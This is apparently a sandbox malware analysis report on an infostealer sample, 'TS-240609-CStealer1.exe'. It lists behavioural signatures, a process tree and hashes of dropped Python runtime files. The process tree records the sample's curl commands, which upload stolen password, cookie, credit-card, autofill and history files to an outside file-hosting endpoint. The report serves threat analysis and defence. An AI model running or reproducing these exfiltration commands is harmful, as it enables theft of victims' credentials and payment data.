Analysis

  • max time kernel
    134s
  • max time network
    139s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/06/2024, 02:54

General

  • Target
    TS-240609-CStealer1.exe
  • Size 16.3MB
  • Sample240609-ddwt8scf2w
  • SHA256 1bc8b335b0a1af5b0ecbf39f20946041219c551c7dc367ec6e4eb4e87107bc97
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10

Malware Config

Signatures

  • Drops startup file 1 IoCs
  • Loads dropped DLL 41 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\TS-240609-CStealer1.exe
    "C:\Users\Admin\AppData\Local\Temp\TS-240609-CStealer1.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4740
    • C:\Users\Admin\AppData\Local\Temp\TS-240609-CStealer1.exe
      "C:\Users\Admin\AppData\Local\Temp\TS-240609-CStealer1.exe"
      2⤵
      • Drops startup file
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:3752
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2376
        • C:\Windows\system32\tasklist.exe
          tasklist
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:4604
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store5.gofile.io/uploadFile"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5964
        • C:\Windows\system32\curl.exe
          curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store5.gofile.io/uploadFile
          4⤵
            PID:1444
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store5.gofile.io/uploadFile"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:5076
          • C:\Windows\system32\curl.exe
            curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store5.gofile.io/uploadFile
            4⤵
              PID:4744
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store5.gofile.io/uploadFile"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2104
            • C:\Windows\system32\curl.exe
              curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store5.gofile.io/uploadFile
              4⤵
                PID:4068
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store5.gofile.io/uploadFile"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4848
              • C:\Windows\system32\curl.exe
                curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store5.gofile.io/uploadFile
                4⤵
                  PID:5000
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store5.gofile.io/uploadFile"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1232
                • C:\Windows\system32\curl.exe
                  curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store5.gofile.io/uploadFile
                  4⤵
                    PID:5560
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store5.gofile.io/uploadFile"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:5508
                  • C:\Windows\system32\curl.exe
                    curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store5.gofile.io/uploadFile
                    4⤵
                      PID:5424
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Desktop/SwitchBackup.au3" https://store5.gofile.io/uploadFile"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:5780
                    • C:\Windows\system32\curl.exe
                      curl -F "file=@C:\Users\Admin/Desktop/SwitchBackup.au3" https://store5.gofile.io/uploadFile
                      4⤵
                        PID:4476
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Downloads/BackupStop.dll" https://store5.gofile.io/uploadFile"
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:5772
                      • C:\Windows\system32\curl.exe
                        curl -F "file=@C:\Users\Admin/Downloads/BackupStop.dll" https://store5.gofile.io/uploadFile
                        4⤵
                          PID:4508

                  Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

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                        Downloads

                        _raw_cbc.pyd

                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47402\Crypto\Cipher\_raw_cbc.pyd
                        • Size 12KB
                        • SHA256 11dd1b49f70db23617e84e08e709d4a9c86759d911a24ebddfb91c414cc7f375
                        • MD5 SHA1 SHA512 SSDEEP

                        _raw_cfb.pyd

                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47402\Crypto\Cipher\_raw_cfb.pyd
                        • Size 13KB
                        • SHA256 faa41385d0db8d4ee2ee74ee540bc879cf2e884bee87655ff3c89c8c517eed45
                        • MD5 SHA1 SHA512 SSDEEP

                        _raw_ctr.pyd

                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47402\Crypto\Cipher\_raw_ctr.pyd
                        • Size 14KB
                        • SHA256 61c7a532e108f67874ef2e17244358df19158f6142680f5b21032ba4889ac5d8
                        • MD5 SHA1 SHA512 SSDEEP

                        _raw_ecb.pyd

                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47402\Crypto\Cipher\_raw_ecb.pyd
                        • Size 10KB
                        • SHA256 3e0d07bbf93e0748b42b1c2550f48f0d81597486038c22548224584ae178a543
                        • MD5 SHA1 SHA512 SSDEEP

                        _raw_ofb.pyd

                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47402\Crypto\Cipher\_raw_ofb.pyd
                        • Size 12KB
                        • SHA256 c9f4c5ffcdd4f8814f8c07ce532a164ab699ae8cde737df02d6ecd7b5dd52dbd
                        • MD5 SHA1 SHA512 SSDEEP

                        _BLAKE2s.pyd

                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47402\Crypto\Hash\_BLAKE2s.pyd
                        • Size 14KB
                        • SHA256 fc296145ae46a11c472f99c5be317e77c840c2430fbb955ce3f913408a046284
                        • MD5 SHA1 SHA512 SSDEEP

                        _strxor.pyd

                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47402\Crypto\Util\_strxor.pyd
                        • Size 10KB
                        • SHA256 70d90ddf87a9608699be6bbedf89ad469632fd0adc20a69da07618596d443639
                        • MD5 SHA1 SHA512 SSDEEP

                        VCRUNTIME140.dll

                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47402\VCRUNTIME140.dll
                        • Size 116KB
                        • SHA256 4d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83
                        • MD5 SHA1 SHA512 SSDEEP

                        VCRUNTIME140_1.dll

                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47402\VCRUNTIME140_1.dll
                        • Size 48KB
                        • SHA256 a113f192195f245f17389e6ecbed8005990bcb2476ddad33f7c4c6c86327afe5
                        • MD5 SHA1 SHA512 SSDEEP

                        _asyncio.pyd

                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47402\_asyncio.pyd
                        • Size 69KB
                        • SHA256 2dfcaec25de17be21f91456256219578eae9a7aec5d21385dec53d0840cf0b8d
                        • MD5 SHA1 SHA512 SSDEEP

                        _bz2.pyd

                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47402\_bz2.pyd
                        • Size 83KB
                        • SHA256 f81dc49eac5ecc528e628175add2ff6bda695a93ea76671d7187155aa6326abb
                        • MD5 SHA1 SHA512 SSDEEP

                        _cffi_backend.cp312-win_amd64.pyd

                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47402\_cffi_backend.cp312-win_amd64.pyd
                        • Size 178KB
                        • SHA256 d8a76d1e31bbd62a482dea9115fc1a109cb39af4cf6d1323409175f3c93113a7
                        • MD5 SHA1 SHA512 SSDEEP

                        _ctypes.pyd

                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47402\_ctypes.pyd
                        • Size 122KB
                        • SHA256 be9828a877e412b48d75addc4553d2d2a60ae762a3551f9731b50cae7d65b570
                        • MD5 SHA1 SHA512 SSDEEP

                        _decimal.pyd

                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47402\_decimal.pyd
                        • Size 245KB
                        • SHA256 e4104e47399d3f635a14d649f61250e9fd37f7e65c81ffe11f099923f8532577
                        • MD5 SHA1 SHA512 SSDEEP

                        _hashlib.pyd

                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47402\_hashlib.pyd
                        • Size 64KB
                        • SHA256 79c4cde23397b9a35b54a3c2298b3c7a844454f4387cb0693f15e4facd227dd2
                        • MD5 SHA1 SHA512 SSDEEP

                        _lzma.pyd

                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47402\_lzma.pyd
                        • Size 156KB
                        • SHA256 a6e2a5bb7a33ad9054f178786a031a46ea560faeef1fb96259331500aae9154c
                        • MD5 SHA1 SHA512 SSDEEP

                        _multiprocessing.pyd

                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47402\_multiprocessing.pyd
                        • Size 34KB
                        • SHA256 467b0fef42d70b55abf41d817dff7631faeef84dce64f8aadb5690a22808d40c
                        • MD5 SHA1 SHA512 SSDEEP

                        _overlapped.pyd

                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47402\_overlapped.pyd
                        • Size 54KB
                        • SHA256 67e6ca6f1645c6928ade6718db28aff1c49a192e8811732b5e99364991102615
                        • MD5 SHA1 SHA512 SSDEEP

                        _queue.pyd

                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47402\_queue.pyd
                        • Size 31KB
                        • SHA256 3f57f29abd86d4dc8f4ca6c3f190ebb57d429143d98f0636ff5117e08ed81f9b
                        • MD5 SHA1 SHA512 SSDEEP

                        _socket.pyd

                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47402\_socket.pyd
                        • Size 81KB
                        • SHA256 7daff6aa3851a913ed97995702a5dfb8a27cb7cf00fb496597be777228d7564a
                        • MD5 SHA1 SHA512 SSDEEP

                        _sqlite3.pyd

                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47402\_sqlite3.pyd
                        • Size 121KB
                        • SHA256 3e96cd9e8abbea5c6b11ee91301d147f3e416ac6c22eb53123eaeae51592d2fe
                        • MD5 SHA1 SHA512 SSDEEP

                        _ssl.pyd

                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47402\_ssl.pyd
                        • Size 174KB
                        • SHA256 d568b3c99bf0fc35a1f3c5f66b4a9d3b67e23a1d3cf0a4d30499d924d805f5aa
                        • MD5 SHA1 SHA512 SSDEEP

                        _uuid.pyd

                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47402\_uuid.pyd
                        • Size 24KB
                        • SHA256 d132f754471bd8a6f6d7816453c2e542f250a4d8089b657392fe61a500ae7899
                        • MD5 SHA1 SHA512 SSDEEP

                        _wmi.pyd

                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47402\_wmi.pyd
                        • Size 35KB
                        • SHA256 1a105311a5ed88a31472b141b4b6daa388a1cd359fe705d9a7a4aba793c5749f
                        • MD5 SHA1 SHA512 SSDEEP

                        base_library.zip

                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47402\base_library.zip
                        • Size 1.3MB
                        • SHA256 8de4f013bfecb9431aabaa97bb084fb7de127b365b9478d6f7610959bf0d2783
                        • MD5 SHA1 SHA512 SSDEEP

                        libcrypto-3.dll

                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47402\libcrypto-3.dll
                        • Size 5.0MB
                        • SHA256 05fe080eab7fc535c51e10c1bd76a2f3e6217f9c91a25034774588881c3f99de
                        • MD5 SHA1 SHA512 SSDEEP

                        libffi-8.dll

                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47402\libffi-8.dll
                        • Size 38KB
                        • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
                        • MD5 SHA1 SHA512 SSDEEP

                        libssl-3.dll

                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47402\libssl-3.dll
                        • Size 768KB
                        • SHA256 2e9fbcd8f7fdc13a5179533239811456554f2b3aa2fb10e1b17be0df81c79006
                        • MD5 SHA1 SHA512 SSDEEP

                        pyexpat.pyd

                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47402\pyexpat.pyd
                        • Size 196KB
                        • SHA256 4779e19ee0f4f0be953805efa1174e127f6e91ad023bd33ac7127fef35e9087b
                        • MD5 SHA1 SHA512 SSDEEP

                        python3.dll

                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47402\python3.dll
                        • Size 66KB
                        • SHA256 d2e348e615a5d3b08b0bac29b91f79b32f0c1d0be48976450042462466b51123
                        • MD5 SHA1 SHA512 SSDEEP

                        python312.dll

                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47402\python312.dll
                        • Size 6.6MB
                        • SHA256 c98ba3354a7d1f69bdca42560feec933ccba93afcc707391049a065e1079cddb
                        • MD5 SHA1 SHA512 SSDEEP

                        select.pyd

                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47402\select.pyd
                        • Size 29KB
                        • SHA256 680df34fb908c49410ac5f68a8c05d92858acd111e62d1194d15bdce520bd6c3
                        • MD5 SHA1 SHA512 SSDEEP

                        sqlite3.dll

                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47402\sqlite3.dll
                        • Size 1.5MB
                        • SHA256 7da1c4604fc97ba033830a2703d92bb6d10a9bba201ec64d13d5ccbfecd57d49
                        • MD5 SHA1 SHA512 SSDEEP

                        unicodedata.pyd

                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47402\unicodedata.pyd
                        • Size 1.1MB
                        • SHA256 10ffd5207eeff5a836b330b237d766365d746c30e01abf0fd01f78548d1f1b04
                        • MD5 SHA1 SHA512 SSDEEP